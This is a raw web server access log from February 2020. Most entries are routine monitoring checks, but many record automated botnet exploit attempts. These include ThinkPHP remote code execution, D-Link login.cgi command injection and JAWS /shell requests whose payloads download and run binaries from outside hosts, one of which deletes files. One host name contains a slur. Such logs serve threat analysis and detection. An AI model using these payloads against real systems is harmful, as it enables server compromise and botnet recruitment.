212.91.246.72 - - [08/Feb/2020:17:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.201.179.77 - - [08/Feb/2020:17:42:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.135.230 - - [08/Feb/2020:17:43:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.123.212.199 - - [08/Feb/2020:17:46:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:17:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.225.186.221 - - [08/Feb/2020:17:47:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [08/Feb/2020:17:48:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [08/Feb/2020:17:48:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [08/Feb/2020:17:48:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [08/Feb/2020:17:48:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
103.135.39.127 - - [08/Feb/2020:17:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [08/Feb/2020:17:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [08/Feb/2020:17:49:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:17:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.78.26.21 - - [08/Feb/2020:17:50:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
150.107.23.123 - - [08/Feb/2020:17:50:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
46.35.237.234 - - [08/Feb/2020:17:50:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.35.175.105 - - [08/Feb/2020:17:54:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.101.97.78 - - [08/Feb/2020:17:57:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:17:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.93.15.0 - - [08/Feb/2020:17:57:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
72.14.186.84 - - [08/Feb/2020:17:57:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
72.14.186.84 - - [08/Feb/2020:17:57:59 +0100] "Gh0st\xad" 501 321 "-" "-"
72.14.186.84 - - [08/Feb/2020:17:58:03 +0100] "HELP" 501 319 "-" "-"
72.14.186.84 - - [08/Feb/2020:17:58:03 +0100] "\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc" 501 350 "-" "-"
72.14.186.84 - - [08/Feb/2020:17:58:05 +0100] "\x16\x03\x01" 501 318 "-" "-"
72.14.186.84 - - [08/Feb/2020:17:58:07 +0100] "\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff" 400 329 "-" "-"
111.35.148.231 - - [08/Feb/2020:17:58:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.225.186.221 - - [08/Feb/2020:18:02:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.173.35.25 - - [08/Feb/2020:18:04:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
42.113.229.61 - - [08/Feb/2020:18:04:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.77.123.165 - - [08/Feb/2020:18:05:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.152.58.237 - - [08/Feb/2020:18:09:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:18:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.246.204.62 - - [08/Feb/2020:18:15:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:18:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.62.198.175 - - [08/Feb/2020:18:16:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:18:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.59.144.188 - - [08/Feb/2020:18:20:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.115.161.145 - - [08/Feb/2020:18:20:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.162 - - [08/Feb/2020:18:21:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.175.116.101 - - [08/Feb/2020:18:22:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:18:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.170.234.26 - - [08/Feb/2020:18:22:57 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:18:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.202.63.194 - - [08/Feb/2020:18:27:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.52.255.235 - - [08/Feb/2020:18:28:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.71.51.216 - - [08/Feb/2020:18:28:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.10.249.194 - - [08/Feb/2020:18:30:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:18:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.214.144 - - [08/Feb/2020:18:30:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.68.143 - - [08/Feb/2020:18:32:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.169.4.34 - - [08/Feb/2020:18:34:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.234.40.0 - - [08/Feb/2020:18:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:18:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.92.198.38 - - [08/Feb/2020:18:36:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.63.217 - - [08/Feb/2020:18:38:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.44.16 - - [08/Feb/2020:18:44:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [08/Feb/2020:18:46:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.162.144.40 - - [08/Feb/2020:18:48:05 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
42.118.156.232 - - [08/Feb/2020:18:48:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.131.7.219 - - [08/Feb/2020:18:49:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:18:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.147.196 - - [08/Feb/2020:18:49:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:18:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.235.197.155 - - [08/Feb/2020:18:55:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
114.40.178.214 - - [08/Feb/2020:18:55:43 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:18:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:18:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
